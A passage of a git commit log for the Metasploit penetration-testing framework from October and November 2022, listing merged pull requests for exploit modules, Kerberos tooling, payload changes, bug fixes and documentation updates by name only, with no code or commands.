NOTE: the stageless payload is still unsuccessfull but keep this anyway for christophe to review.
2022-11-09 04:52:18 +07:00
krastanoel bca5138fc8 Update module
- move cleanup process to its own method and handle the response
- remove timeout and http delay option
- adjust target type location as code review suggestion
2022-11-09 01:42:27 +07:00
Christophe De La Fuente 37fd441b0f Land #17117, Authenticate to Kerberos with PKINIT 2022-11-08 18:54:03 +01:00
krastanoel a50cca27e6 remove cookie_jar manipulation 2022-11-09 00:48:23 +07:00
krastanoel 52d867bbc7 follow Ruby coding convetions
- combine gitea_version into get_gitea_version for the check method
- validate empty username
2022-11-09 00:41:30 +07:00
Grant Willcox be1200401a Land #17223, Improves the reload_lib -a commands ability to track modified files 2022-11-08 11:35:20 -06:00
krastanoel c980f4f9ee add more custom error exception 2022-11-09 00:27:12 +07:00
Spencer McIntyre e70861fc87 Land #17239, Fix broken kerberos login module 2022-11-08 11:21:17 -05:00
adfoster-r7 57db4fee86 Land #17238, add the shutdown command to windows python meterpreter 2022-11-08 16:14:57 +00:00
Metasploit a0d813e830 automatic module_metadata_base.json update 2022-11-08 09:53:22 -06:00
adfoster-r7 30fe07801b Fix broken kerberos login module 2022-11-08 15:49:21 +00:00
Spencer McIntyre 65e4e1b76d Land #17221, Fix crash with payload sizes
Fix crash when generating payload sizes
2022-11-08 10:26:27 -05:00
Spencer McIntyre 299a4c4aca Update metasploit-payloads gem to 2.0.99 2022-11-08 09:59:20 -05:00
krastanoel f0b67c8812 fix msftidy 2022-11-08 14:14:45 +07:00
krastanoel 540984804d Apply suggestions from code review
Co-authored-by: Christophe De La Fuente <56716719+cdelafuente-r7@users.noreply.github.com>
2022-11-08 14:09:31 +07:00
Metasploit 449c0f662b automatic module_metadata_base.json update 2022-11-07 18:16:41 -06:00
adfoster-r7 f84113d96e Land #17235, report service_name in ManageEngineDesktopCentral 2022-11-07 23:57:09 +00:00
adfoster-r7 4c4762a84c Land #17045, Add module for converting kerberos ticket formats 2022-11-07 23:54:44 +00:00
Metasploit dcdff76f5f automatic module_metadata_base.json update 2022-11-07 16:22:31 -06:00
Grant Willcox 416cf78ae2 Land #17149, Update ssl_version module to be useful 2022-11-07 15:59:50 -06:00
Grant Willcox a6323a4735 Update examples for documentation to reflect recent code changes 2022-11-07 15:10:47 -06:00
Metasploit a54a996263 automatic module_metadata_base.json update 2022-11-07 13:38:36 -06:00
Christophe De La Fuente 946eb1e546 Add documentation 2022-11-07 20:19:43 +01:00
Spencer McIntyre 47097b8d7d Land #17211, Compress Python payloads
Compress Python payloads before base64 encoding
2022-11-07 14:17:05 -05:00
Jeffrey Martin 27e9d9d272 report service_name in ManageEngineDesktopCentral
The scanner now reports the service_name in the `Result` object.
2022-11-07 12:23:59 -06:00
Grant Willcox 455476cfe2 Land #17234, Adds references to info -d command in options and info command outputs 2022-11-07 11:15:41 -06:00
Metasploit 2357d87e8f automatic module_metadata_base.json update 2022-11-07 11:13:11 -06:00
Spencer McIntyre ed7d458f07 Land #17122, Add in ESC Finder Module (ESC1-ESC3) 2022-11-07 11:53:15 -05:00
cgranleese-r7 fa3c277f53 Adds references to info -d command in options and info commands outputs 2022-11-07 16:40:38 +00:00
Spencer McIntyre c1d092b70d Minor tweaks
Filter out enrollable certs by default and print the warning higher. Add
periods to all messages for consistency. Drop the message from
vprint_good to vprint_status when the query works.
2022-11-07 10:37:12 -05:00
Dean Welch ee46d18505 Add yard docs and address review comments 2022-11-07 12:10:01 +00:00
Dean Welch a110465fe4 Add module for converting kerberos ticket formats 2022-11-07 12:10:01 +00:00
Metasploit df4432bd54 automatic module_metadata_base.json update 2022-11-07 05:51:15 -06:00
Christophe De La Fuente 929d4f2fa4 Land #17097, Gather Navicat 2022-11-07 12:30:16 +01:00
Christophe De La Fuente 85137056b9 Use fail_with instead of return 2022-11-07 12:28:10 +01:00
h00die-gr3y da189041b4 randomized endpoint url 2022-11-07 08:16:54 +00:00
llamasoft 1a353ee273 Update Python payloads to have dynamic sizes
While the length of the input payload is always the same size,
it may not always have the same contents due to random checksum
URI and UUID generation.  This leads to payloads whose sizes
can vary by a few bytes between runs.
2022-11-05 15:58:10 -04:00
llamasoft d6e9e1508c Compress Python pingback payloads 2022-11-05 15:49:51 -04:00
llamasoft eb11334f18 Compress python meterpreter payload
The internal AES and RSA implementations use base64+zlib to save space
so it only makes sense that the outer encoding should use it as well.
This reduces the final payload size considerably.
2022-11-05 15:42:45 -04:00
h00die-gr3y bf0ed5b513 fixed some typos in documentation 2022-11-05 15:36:42 +00:00
h00die-gr3y 642a83bd0d Updated module and added documentation 2022-11-05 15:14:31 +00:00
h00die 63d938ddba better docs 2022-11-05 07:48:40 -04:00
h00die cf0910d831 review comments 2022-11-05 07:23:14 -04:00
bcoles 7bf29c0a4e Add post/multi/recon/reverse_lookup 2022-11-05 13:18:35 +11:00
Grant Willcox 79ac775443 Perform updates from code review. 2022-11-04 15:44:28 -05:00
Grant Willcox 6a70087b7a Add in ESC2 and ESC3 attacks, rework code to split things up to support multiple ESC attacks, and make ESC attack filters easier to read by indenting them. Also remove some extra code that wasn't being used 2022-11-04 15:44:24 -05:00
Grant Willcox 8922e5b203 Add in first initial implementation of ESC module and updates to associated libraries. 2022-11-04 15:43:34 -05:00
Christophe De La Fuente eb051ec9a7 Add get_ticket module 2022-11-04 18:46:47 +01:00
adfoster-r7 c1e2328b06 Land #17225, Update YARD documentation to use return instead of returns 2022-11-04 17:07:14 +00:00
Grant Willcox 4ae42f9a7c Update YARD documentation to use proper @return instead of @returns 2022-11-04 11:30:45 -05:00
cgranleese-r7 073e91ff93 Improves the reload_lib -a commands ability to track modified files 2022-11-04 14:28:58 +00:00
h00die-gr3y 71d1c971a7 init commit module 2022-11-04 13:31:27 +00:00
adfoster-r7 0d9cca79b4 Fix crash when generating payload sizes 2022-11-04 02:10:58 +00:00
adfoster-r7 772cf99d36 Land #17219, Fix broken zabbix_login scanner regex for new versions 2022-11-03 23:35:18 +00:00
Spencer McIntyre 68b043ceed Land #17220, Fix pe inject payload crash 2022-11-03 16:48:57 -04:00
adfoster-r7 0b2ee36e8a Fix pe inject payload crash 2022-11-03 19:42:17 +00:00
Jack Heysel 2a40c9c89c Fix broken zabbix_login scanner regex for new versions 2022-11-03 13:49:40 -04:00
Metasploit 8388544457 Bump version of framework to 6.2.26 2022-11-03 12:10:55 -05:00
Spencer McIntyre c6a1146314 Upgrade from RASN1 v0.10.0 to v0.11.0
This upgrades the RASN1 library to the latests as of today and fixes
compatibility issues. The issue introduced by v0.11 was that types are
initialized with an `options` hash, which the Name class was not set to
accept.
2022-11-03 12:22:16 -04:00
adfoster-r7 9f0b6dc2e7 Land #17196, Add new get_hostname library support for Windows 2022-11-03 15:24:37 +00:00
Spencer McIntyre 6e453a3f4f Fix a bug in #extract_user_and_realm
While iterating over asn_san_seq, if the tag doesn't match either of the
two conditions, user and domain will be nil which leads to a problem
later on.
2022-11-03 10:51:52 -04:00
ErikWynter 771b66f570 update fork and rebase feature branch 2022-11-03 12:07:08 +02:00
ErikWynter 0065cff169 add rescuing for SNMP::ParseError to snmp enum modules 2022-11-03 12:04:33 +02:00
Spencer McIntyre e00cab3f11 Land #17084, Add Kerberos keytab module 2022-11-02 12:01:03 -04:00
Metasploit c502dd1b98 automatic module_metadata_base.json update 2022-11-02 09:49:59 -05:00
Jack Heysel b375744b00 Land #17192, Password Manager Pro Post Module
This post module gathers ManageEngines Password
Manager Pro credentials from the local database
2022-11-02 10:20:53 -04:00
Christophe De La Fuente d691112533 Update the documentation 2022-11-02 14:14:49 +01:00
adfoster-r7 e647bf8620 Namespace krb5 models 2022-11-02 13:04:52 +00:00
adfoster-r7 1307f01b76 Align with keytab instead of key_tab 2022-11-02 13:04:51 +00:00
adfoster-r7 98d2633859 Add Kerberos ktutil module 2022-11-02 13:04:50 +00:00
Christophe De La Fuente cd081cd0e6 Fixes from code review 2022-11-02 14:04:42 +01:00
Christophe De La Fuente 83d15c48d7 Add Password Manager Pro password recovery module 2022-11-02 14:04:42 +01:00
cgranleese-r7 725a3d50c7 Land #17208, Merge 6.2.25 master into kerberos feature branch 2022-11-02 12:52:19 +00:00
Metasploit 42c5e4f6e5 automatic module_metadata_base.json update 2022-11-02 06:13:25 -05:00
adfoster-r7 ce3973d67d Land #17213, Update identify hash library and call 2022-11-02 10:52:59 +00:00
bwatters e83a7c5c6d Update identify hash library and call 2022-11-01 17:33:14 -05:00
adfoster-r7 b47afe5af1 Land #17207, Add msfvenom / msfconsole support for Rust shellcode 2022-11-01 21:31:57 +00:00
space-r7 4ebea7d7f0 Land #17190, fix bufptr data type in netapi32 2022-11-01 15:01:44 -05:00
Metasploit c8574cbb6c automatic module_metadata_base.json update 2022-11-01 13:06:49 -05:00
space-r7 197b37751b Land #17174, add FLIR AX8 command injection module 2022-11-01 12:41:01 -05:00
Grant Willcox c4c4e736d9 Land #17142, Apache CouchDB Erlang RCE module CVE-2022-24706 2022-11-01 12:26:49 -05:00
Metasploit 66d31c91d9 automatic module_metadata_base.json update 2022-11-01 11:53:29 -05:00
Grant Willcox 11095c8789 Documentation touchups 2022-11-01 11:43:01 -05:00
space-r7 f25b1fa4d7 Land #17168, add webmin file manager rce 2022-11-01 11:32:47 -05:00
Jack Heysel f61136dd6d Fixed powershell taget 2022-11-01 10:55:50 -05:00
jheysel-r7 757c0da639 Review updates
Co-authored-by: Grant Willcox <63261883+gwillcox-r7@users.noreply.github.com>
2022-11-01 10:55:20 -05:00
Jack Heysel 434cb21d27 Docs update 2022-11-01 10:54:37 -05:00
Jack Heysel b31c0f6987 Added check method, refactored, updated docs 2022-11-01 10:54:27 -05:00
Jack Heysel a0babb354a Apache CouchDB Erlang module initial commit 2022-11-01 10:54:19 -05:00
Jack Heysel c4c2c7c0c1 Beta commit, injection working 2022-11-01 10:54:12 -05:00
Jack Heysel 45ddcf02c9 Remove unused mix in, add low bound to check 2022-11-01 10:42:43 -05:00
Jack Heysel da47d149fd removed file unintended to add to pr 2022-11-01 10:42:43 -05:00
Jack Heysel 2ed8dbc08d Rubocop 2022-11-01 10:42:43 -05:00
Jack Heysel 4587691d64 Fixed module to work over SSL 2022-11-01 10:42:42 -05:00
Jack Heysel 3b645ad9f4 Moved get variables from uri to vars_get 2022-11-01 10:42:42 -05:00
jheysel-r7 c810a1f5aa Update modules/exploits/linux/http/webmin_file_manager_rce.rb
Co-authored-by: Shelby Pace <40177151+space-r7@users.noreply.github.com>
2022-11-01 10:42:42 -05:00
jheysel-r7 af9175325b Update lib/msf/core/exploit/remote/http/webmin/login.rb
Co-authored-by: Shelby Pace <40177151+space-r7@users.noreply.github.com>
2022-11-01 10:42:42 -05:00
jheysel-r7 ebf7496ee2 Update modules/exploits/linux/http/webmin_file_manager_rce.rb
Co-authored-by: Shelby Pace <40177151+space-r7@users.noreply.github.com>
2022-11-01 10:42:41 -05:00
jheysel-r7 0ede1ca94f Update modules/exploits/linux/http/webmin_file_manager_rce.rb
Co-authored-by: Shelby Pace <40177151+space-r7@users.noreply.github.com>
2022-11-01 10:40:01 -05:00
jheysel-r7 cf27c34917 Update documentation/modules/exploit/linux/http/webmin_file_manager_rce.md
Co-authored-by: Shelby Pace <40177151+space-r7@users.noreply.github.com>
2022-11-01 10:40:01 -05:00
jheysel-r7 6a1af915f6 Update documentation/modules/exploit/linux/http/webmin_file_manager_rce.md
Co-authored-by: Shelby Pace <40177151+space-r7@users.noreply.github.com>
2022-11-01 10:40:01 -05:00
Jack Heysel d79515c3fe Fix file cleanup 2022-11-01 10:40:00 -05:00
Jack Heysel d1e1350ef9 Updated author 2022-11-01 10:40:00 -05:00
Jack Heysel ad5b03ed96 Finished TODOs and added docs 2022-11-01 10:40:00 -05:00
Jack Heysel 9af689e130 draft module no docs 2022-11-01 10:40:00 -05:00
Jack Heysel c400a97b63 beta commit 2022-11-01 10:39:59 -05:00
h00die c6a8db2c55 review revisions 2022-10-31 22:43:09 -05:00
h00die 39393be901 refinements on ca issuers regex 2022-10-31 22:43:03 -05:00
h00die 1922f24686 ssl_version review comments 2022-10-31 22:43:03 -05:00
Grant Willcox 2b481dce90 Remove auxiliary/scanner/http/ssl.rb and also update the module with some comment like documentation n minor fixes 2022-10-31 22:43:02 -05:00
Grant Willcox 840586afd8 Update documentation with typo fixes 2022-10-31 22:42:52 -05:00
h00die 189e530c91 updated ssl_version 2022-10-31 22:42:40 -05:00
adfoster-r7 7774b7ddcf Merge remote-tracking branch 'upstream/master' into merge-6.2.25-master-into-kerberos-feature-branch 2022-10-31 23:15:11 +00:00
memN0ps bc2082aeca Updated Gemfile.lock rex-text version from 0.2.45 to 0.2.46 2022-11-01 11:53:10 +13:00
Metasploit bd648eef3b automatic module_metadata_base.json update 2022-10-31 15:39:24 -05:00
adfoster-r7 236f65a948 Land #17188, Fix the Python Meterpreter for v3.1-3.3 2022-10-31 20:18:37 +00:00
Metasploit 2d0204056f automatic module_metadata_base.json update 2022-10-31 11:40:36 -05:00
adfoster-r7 003681ae8a Land #17181, Add module for Role Based Constrained Delegation (RBCD) 2022-10-31 16:20:48 +00:00
Spencer McIntyre 9d09f2c71d Add the protocol field to the access mask 2022-10-31 10:56:17 -04:00
Spencer McIntyre 52197f544f Print the added account SID 2022-10-31 10:56:17 -04:00
Spencer McIntyre b00f706c0b Handle missing accounts when resolving SIDs 2022-10-31 10:56:17 -04:00
Spencer McIntyre af9e4f0fa9 Update how sAMAccountName is looked up.
This tweaks how the objects are looked up by the sAMAccountName field.
The sAMAccountName can contain values not ending in $, so lookup what the
user specified first, and then check with the $ suffix if it's not
found.
2022-10-31 10:56:17 -04:00
Spencer McIntyre a8f81fe14c Add RBCD module docs 2022-10-31 10:56:17 -04:00
Spencer McIntyre fa7d677d45 Consolidate and improve LDAP error handling 2022-10-31 10:56:17 -04:00
Spencer McIntyre 2269fec099 Initial working RBCD module 2022-10-31 10:56:17 -04:00
Spencer McIntyre 31e2ab683c Update samr_computer to show the SID when adding 2022-10-31 10:56:17 -04:00
Spencer McIntyre afba3a40ab Add the initial MS-DTYP data definitions 2022-10-31 10:56:17 -04:00
Spencer McIntyre 603e710804 Update payloads sizes 2022-10-31 10:35:28 -04:00
Spencer McIntyre 189cc81abe Apply autopep8 changes 2022-10-31 10:35:28 -04:00
Spencer McIntyre d8dfee5864 Move the python code into python files 2022-10-31 10:35:28 -04:00
Spencer McIntyre 69f0f3aebc Fix Python Meterpreter for v3.1-v3.3 2022-10-31 10:35:28 -04:00
Spencer McIntyre 4bf3ce3a6b Land #17197, Fixing a typo in CODE_OF_CONDUCT.md
Fixing up a typo in CODE_OF_CONDUCT.md
2022-10-31 09:08:12 -04:00
memN0ps 781f29fd95 Fixed typo in the self.comment function for Rust 2022-10-31 17:22:29 +13:00
memN0ps 1dada175f9 Added Rust Programming Language format support for generating payloads 2022-10-30 21:14:51 +13:00
dmorozov001 b82506f323 Update CODE_OF_CONDUCT.md 2022-10-29 15:56:49 +01:00
bcoles 31a68fd562 Msf::Post::Windows: Add Msf::Post::Windows::System mixin 2022-10-30 00:03:56 +11:00
Spencer McIntyre b6d46fbf5d Land #17175, kerberos support in smb_login 2022-10-28 13:58:18 -04:00
Spencer McIntyre edf211e374 Set proof to the Kerberos error 2022-10-28 13:55:44 -04:00
cgranleese-r7 c911a53696 Land #17195, Fix uploading binary file to windows shell command with identical name 2022-10-28 17:32:11 +01:00
adfoster-r7 97ba3bf85c Fix uploading binary file to windows shell command with identical name 2022-10-28 17:14:31 +01:00
cgranleese-r7 39ae3e51ec Land #17186, Fix broken file writes on windows when newlines are present 2022-10-28 17:07:12 +01:00
adfoster-r7 ffa68e2bdf Fix broken file writes on windows when newlines are present 2022-10-28 16:45:49 +01:00
cgranleese-r7 14a84acb13 Land #17184, Support upload and download command for powershell and windows sessions 2022-10-28 16:42:31 +01:00
Christophe De La Fuente 4ec7eea436 Fixes from code review 2022-10-28 15:33:34 +02:00
Metasploit dc4c137b4b automatic module_metadata_base.json update 2022-10-27 15:54:33 -05:00
Jack Heysel 3346ddec2c Land #17155, Remote mouse version updates
Also add a vulnerable download link to the docs
2022-10-27 16:32:23 -04:00
Spencer McIntyre 1cc5345cf1 Fix the data types 2022-10-27 15:53:26 -04:00
Metasploit d3c9f45133 Bump version of framework to 6.2.25 2022-10-27 12:09:31 -05:00
bwatters 40fca92b38 Land #16871, Add vcenter_secrets_dump post module
Merge branch 'land-16871' into upstream-master
2022-10-27 11:05:07 -05:00
Metasploit f07debad4d automatic module_metadata_base.json update 2022-10-27 10:34:20 -05:00
adfoster-r7 06e0be0a3d Land #17128, Adds support to specify a shared directory to iterate through and highlight keywords 2022-10-27 16:07:12 +01:00
adfoster-r7 9e7c887347 Land #17187, update aerohive_netconfig_lfi_log_poison_rce to support 10.0r8 2022-10-27 15:53:03 +01:00
adfoster-r7 f1657bde73 Land #17167, Weekly dependency updates 20221020 2022-10-27 14:46:58 +01:00
cgranleese-r7 2bd90079a2 Adds support to specify a shared directory to iterate through and highlighting keywords 2022-10-27 12:49:02 +01:00
ErikWynter 0e72307d36 aerohive_version_fix 2022-10-27 13:33:18 +03:00
Metasploit fa28131de7 automatic module_metadata_base.json update 2022-10-26 16:42:09 -05:00
Jack Heysel 9c5d82e00f Land #17147, add Vargrant Breakout module
This PR adds a module that exploits a default
Vagrant shared folder to append a Ruby payload
to the Vagrant project Vagrantfile config file.
2022-10-26 17:11:03 -04:00
Metasploit bb2b2ffbfb automatic module_metadata_base.json update 2022-10-26 16:00:48 -05:00
Spencer McIntyre eee8f49695 Land #17176, Python Meterpreter AES Constants 2022-10-26 16:29:28 -04:00
llamasoft 13baaad30e Update cached payload sizes 2022-10-26 14:38:06 -04:00
Metasploit 7005b28859 automatic module_metadata_base.json update 2022-10-26 13:09:52 -05:00
Spencer McIntyre 154edfc6f8 Land #16979, Add in support for LDAP type decoding
Add in support for GUIDs, Certificate Handling, and SIDs to ldap_query Module
2022-10-26 13:49:58 -04:00
Grant Willcox 5ce4542748 Fix up spacing issues 2022-10-26 12:06:54 -05:00
Spencer McIntyre 6eb788c379 Land #17024, Add Meterpreter reg command docs
Add Meterpreter reg command documentation
2022-10-26 08:42:21 -04:00
Spencer McIntyre a6e775ae3c Add a missing dash for consistency 2022-10-26 08:42:09 -04:00
cgranleese-r7 6e46c63047 Land #17185, Add additional usage tips 2022-10-26 12:56:11 +01:00
adfoster-r7 4b1b26bbb6 Add additional usage tips 2022-10-26 11:56:02 +01:00
adfoster-r7 e2d052322d Support upload and download command for powershell sessions 2022-10-26 11:48:31 +01:00
bcoles 01fa2e1041 Add Vagrant Synced Folder Vagrantfile Breakout module 2022-10-26 17:33:44 +11:00
Metasploit 8e9061c86d automatic module_metadata_base.json update 2022-10-25 15:42:50 -05:00
adfoster-r7 cbd1a42804 Add Meterpreter reg command documentation 2022-10-25 19:45:01 +01:00
space-r7 35e4d829d8 Land #17164, add THEME_DIR option to wp_crop_rce 2022-10-25 12:23:50 -05:00
space-r7 7c64b0ba93 add option in documentation and add notes 2022-10-25 12:22:00 -05:00
Ron Bowes 4624031aec Remove errant puts 2022-10-25 10:21:47 -07:00
Grant Willcox 5e6577d264 Fix up spacing issues 2022-10-25 12:09:04 -05:00
Ron Bowes 4979c0b74f Add a check to the cve-2022-30333 module for Zimbra that aborts before generating artifacts if the server cannot be reached 2022-10-25 10:05:16 -07:00
Ron Bowes ab2042f34e Add patch notes to the Slapper module documentation 2022-10-25 10:04:52 -07:00
Ron Bowes 3ac3fa6c32 Move the Zimbra Slapper doc to the right folder (Windows -> Linux) 2022-10-25 09:51:27 -07:00
h00die-gr3y 3d8e18c1cb updated module with code suggestions space-r7 2022-10-25 16:38:15 +00:00
Grant Willcox 51829c5ce9 Add in inital copy of ms_dtyp.rb library and use the definitions there to replace our custom unpack solutions with proper BinData approaches. Also rename some variables to use more appropriate names 2022-10-25 11:29:22 -05:00
r3nt0n 982cfb97c2 Refactor: check for THEME_DIR as ternary
Suggested by @space-r7
2022-10-25 17:38:30 +02:00
Grant Willcox 8bc2e647eb More updates 2022-10-25 10:14:41 -05:00
Grant Willcox 87aa5d5266 Handle attributes with whitespace better. Also handle isSingleValue correctly now for the certificate values we have at the moment 2022-10-25 10:12:37 -05:00
Grant Willcox 42463ac3b6 Rework logic so we can now only query once to retrieve the info on the attributes we are examining, instead of once per entry returned 2022-10-25 10:12:37 -05:00
Grant Willcox 78f5ae47d4 Fix up some improper practices and convert entry_list to a hash 2022-10-25 10:12:36 -05:00
Grant Willcox a698145334 Add in better coding practices for certain elements n RuboCop the file 2022-10-25 10:12:36 -05:00
Grant Willcox 6682eff259 Add in the data type checker feature for checking the data type of attributes retrieved 2022-10-25 10:12:36 -05:00
Grant Willcox 9bef925e57 Add support for decoding password ages to time strings, Windows timestamps to time strings, and system flags to strings 2022-10-25 10:12:35 -05:00
Grant Willcox 20c07eafe7 Add support for SID decoding 2022-10-25 10:12:35 -05:00
Grant Willcox 93e53e0429 Add in support for GUIDs and certificate handling 2022-10-25 10:12:34 -05:00
h00die-gr3y 3e78229fc0 updated module and documentation 2022-10-25 13:33:52 +00:00
h00die 78a4c80e33 review comment 2022-10-24 17:16:08 -04:00
Metasploit e949c68f9c automatic module_metadata_base.json update 2022-10-24 14:41:43 -05:00
bwatters 9902e9a1e4 Land #17110, check files exist before doing other things
Merge branch 'land-17110' into upstream-master
2022-10-24 14:20:16 -05:00
Jack Heysel d6f27a8a71 Used vuln to remove test webshell in check method 2022-10-24 14:17:21 -04:00
Metasploit 97f7243a36 automatic module_metadata_base.json update 2022-10-24 11:49:00 -05:00
Jack Heysel 3bf4bd7d7d Land #17162, add RCE module for CVE-2022-35914
This PR adds an RCE module for the php code injection
present in GLPI versions 10.0.2 and below
2022-10-24 12:18:34 -04:00
jheysel-r7 3bbd05a11a Update modules/exploits/linux/http/glpi_htmlawed_php_injection.rb
Co-authored-by: Brendan <bwatters@rapid7.com>
2022-10-24 11:48:33 -04:00
Spencer McIntyre 7aa62bfecd Land #17071, Add in new LDAP queries
Add in new LDAP queries to help with various attack paths
2022-10-24 09:18:41 -04:00
Spencer McIntyre 4bc98c6cc5 Fix a YAML syntax issue 2022-10-24 09:18:10 -04:00
llamasoft d61656c591 Use generator instead of list 2022-10-22 17:08:32 -04:00
llamasoft 42b7c7f69a Use range instead of xrange 2022-10-22 17:07:50 -04:00
bwatters 51264862f2 Land #17172, Msf::Post::File.append_file: Append not overwrite on *nix shell sessions
Merge branch 'land-17172' into upstream-master
2022-10-21 16:54:59 -05:00
Grant Willcox 01e4701bef Reorder queries alphabetically and fix up errors identified during review 2022-10-21 11:18:23 -05:00
Christophe De La Fuente f1639797b9 Rubocop updates 2022-10-21 17:17:06 +02:00
Christophe De La Fuente 52904b8cb6 Add support to Kerberos
- Add kerberos authenticator to `scanner/smb/smb_login` and the
  corresponding login scanner library
- Add new options: `UseCachedCredentials` and `StoreCredentialCache`
- Add `use_cached_credentials` attribute to
  Kerberos::ServiceAuthenticator::Base. This enables/disables the use of
  cached Kerberos credentials from the database.
- Add `store_credential_cache` attribute to
  Kerberos::ServiceAuthenticator::Base. This enables/disables storing
  Kerberos TGS MIT Credential Cache to the database.
2022-10-21 16:16:10 +02:00
h00die-gr3y c1aed2d274 Fixed typos documentation 2022-10-21 13:20:37 +00:00
h00die-gr3y 1c393dc596 init commit module and documentation 2022-10-21 12:50:46 +00:00
bcoles cd656ecdbb Msf::Post::File.append_file: Append not overwrite on *nix shell sessions 2022-10-21 23:28:14 +11:00
llamasoft 9ddc05a464 Consolidate encrypt/decrypt functions
The only differences between the encrypt and decrypt functions are which
lookup tables they use and which order the bytes are sampled from rows.
Consolidating the functions like this also results in a consistent
10-15% performance improvement over the previous implementation.
2022-10-20 20:54:10 -04:00
llamasoft d3a72cac84 Generate AES constants at runtime
Unfortunately, the constants have to be calculated using utility functions
because Python 3 changes how list comprehensions work during class creation.
However, the current implementation is Python 2/3 compatible.
2022-10-20 20:54:02 -04:00
Jeffrey Martin cca49257c5 extend config due to warning
```
SECURITY WARNING: Your secret is not long enough. It must be at least
        32 bytes long and securely random. To generate such a key for use
        you can run the following command:
```
2022-10-20 14:39:05 -05:00
space-r7 a9c3c61aa3 Land #17050, make osx payload fileless 2022-10-20 14:13:32 -05:00
Spencer McIntyre 7d6c0a8eba Land #17165, Update commiters keys doc
Update commiters keys doc with updated info
2022-10-20 15:11:43 -04:00
Metasploit 6eb639ea7b Weekly dependency updates for Gemfile.lock 2022-10-20 13:48:09 -05:00
space-r7 5910afadd9 add new binary 2022-10-20 13:47:54 -05:00
Metasploit 9f6134813e Bump version of framework to 6.2.24 2022-10-20 12:14:26 -05:00
Grant Willcox e9851f3381 Remove Brendan as Metasploit manager and replace with Spencer. 2022-10-20 11:00:17 -05:00
Grant Willcox 36a915fe5c Update contributors with new contributors, remove old contributors, and update contact info 2022-10-20 10:55:58 -05:00
Metasploit fab762abbc automatic module_metadata_base.json update 2022-10-20 10:01:43 -05:00
r3nt0n 08721ccf73 Adding THEME_DIR option to wp_crop_rce exploit 2022-10-20 16:37:21 +02:00
Christophe De La Fuente 43f7d7b73e Land #17098, Hikvision camera unauthenticated information disclosure 2022-10-20 16:20:12 +02:00
Metasploit 8f5fd09492 automatic module_metadata_base.json update 2022-10-20 08:32:36 -05:00
Christophe De La Fuente 4cfbae63ac Land #17114, Add exploit for CVE-2022-41352 (zimbra cpio) 2022-10-20 15:10:42 +02:00
Christophe De La Fuente c89569d88c Fix the doc to make msftidy_docs.rb happy 2022-10-20 14:33:40 +02:00
adfoster-r7 ee800db2fa Land #17161, Bump actions/checkout to version 3.x 2022-10-20 11:02:35 +01:00
adfoster-r7 1a00bb5f43 Land #17089, Bump actions/github-script to v6 2022-10-20 10:51:55 +01:00
llamasoft 6c95a5543c Remove unused function 2022-10-19 22:22:31 -04:00
Jack Heysel 11936affd1 Rubocop 2022-10-19 22:07:50 -04:00
Jack Heysel b60b440697 Check method improvement 2022-10-19 22:03:43 -04:00
bwatters 73c879a854 Add docs 2022-10-19 17:59:54 -05:00
bwatters 6039e54b75 For real, this time 2022-10-19 17:23:16 -05:00
bwatters 78e8de826b Sure; I can spell 2022-10-19 17:22:29 -05:00
bwatters 238aa9058f Fix Cmdstager flavor, complete info hash 2022-10-19 17:18:20 -05:00
bwatters 56b8bf6302 Working draft for CVE-2022-35914 2022-10-19 14:33:33 -05:00
Grant Willcox 3f6649982b Update additional .github files to use actions/checkout@v3 2022-10-19 12:59:32 -05:00
Ron Bowes d8a5629cf4 Add Zimbra-installation notes 2022-10-19 10:05:20 -07:00
Ron Bowes 56d6f7747b Remove some old code and update documentation with version info 2022-10-19 10:02:29 -07:00
Grant Willcox 2d2ab6b739 Bump actions/checkout to version 3.x to use NodeJS 16.x instead of deprecated NodeJS 12 2022-10-19 11:36:36 -05:00
Grant Willcox a4acd8a680 Land #17154, improve qualys import times 2022-10-19 10:44:22 -05:00
Metasploit 13cfdd0e44 automatic module_metadata_base.json update 2022-10-19 04:20:04 -05:00
Christophe De La Fuente 15d81ca04c Land #17135, Add namespace to identify.rb 2022-10-19 10:48:25 +02:00
Christophe De La Fuente c43272985e Land #17141, Zimbra Postfix priv esc 2022-10-19 10:33:37 +02:00
Metasploit a37d12f33b automatic module_metadata_base.json update 2022-10-18 18:32:15 -05:00
bwatters f901dba4f4 Land #17143, Added module for CVE-2022-40684
(FortiOS, FortiProxy, and FortiSwitchManager Authentication Bypass)

Merge branch 'land-17143' into upstream-master
2022-10-18 18:08:52 -05:00
Jeffrey Martin 016a1c9da9 one more safer access 2022-10-18 15:02:58 -05:00
Jeffrey Martin 7b9ed4a1da corrections to reference IDs 2022-10-18 14:57:44 -05:00
Ron Bowes 9a35a5c8dd Post patch info 2022-10-18 10:12:54 -07:00
Ron Bowes 6bdf0da994 Add a sanity check before generating the payload - prevents a confusing error if the server is down 2022-10-18 10:09:51 -07:00
Ron Bowes 61abcc008f Merge pull request #1 from cdelafuente-r7/zimbra_postfix_doc_fix
Zimbra Postfix LPE doc fix
2022-10-18 09:27:44 -07:00
Grant Willcox 781ee000d9 Land #17157, Check global LHOST before generating it from RHOSTS 2022-10-18 10:49:06 -05:00
Christophe De La Fuente fa67b6973d Documentation fix to follow the template 2022-10-18 16:09:57 +02:00
Matthew Dunn c0403af25e Address two more imports, use described_class per review 2022-10-18 08:47:24 -04:00
Heyder Andrade 1804e5ab60 Update modules/exploits/linux/http/fortinet_authentication_bypass_cve_2022_40684.rb
Co-authored-by: Brendan <bwatters@rapid7.com>
2022-10-18 00:51:28 +02:00
Ron Bowes dea3f72f6b Resolve feedback - get rid of unnecessary directory, add CVE number, let the user choose the path 2022-10-17 15:00:56 -07:00
Matthew Dunn aab064779c Check the global LHOST before picking it from RHOST 2022-10-17 17:59:58 -04:00
Matthew Dunn 1e50ba3415 Move to Hashes module, address requested changes
Fix rubocop

Move identify to hashes module up one layer, use full reference to identify_hash instead of full include

Fix SMTP require

Remove hashes require statement

Remove hashes require statement

Remove hashes require statement

Remove hashes require statement

Address remaining requested changes, reference constants directly

Add all the missing direct references

Co-Authored-By: Jeffrey Martin <jeffrey_martin@rapid7.com>
2022-10-17 17:28:31 -04:00
Matthew Dunn 8b5223f53b Modularize Identify, Update referenced use cases
Modularize Identity.rb

Include new module style Identify

Update juniper.rb

Fix inadvertent change

Add new module to identify spec

Put the require back

Put back require line for juniper
2022-10-17 17:28:30 -04:00
Heyder Andrade 26ed9bb053 Update documentation/modules/exploit/linux/http/fortinet_authentication_bypass_cve_2022_40684.md
Co-authored-by: Brendan <bwatters@rapid7.com>
2022-10-17 22:49:57 +02:00
Heyder Andrade 67bd118dd5 Update modules/exploits/linux/http/fortinet_authentication_bypass_cve_2022_40684.rb
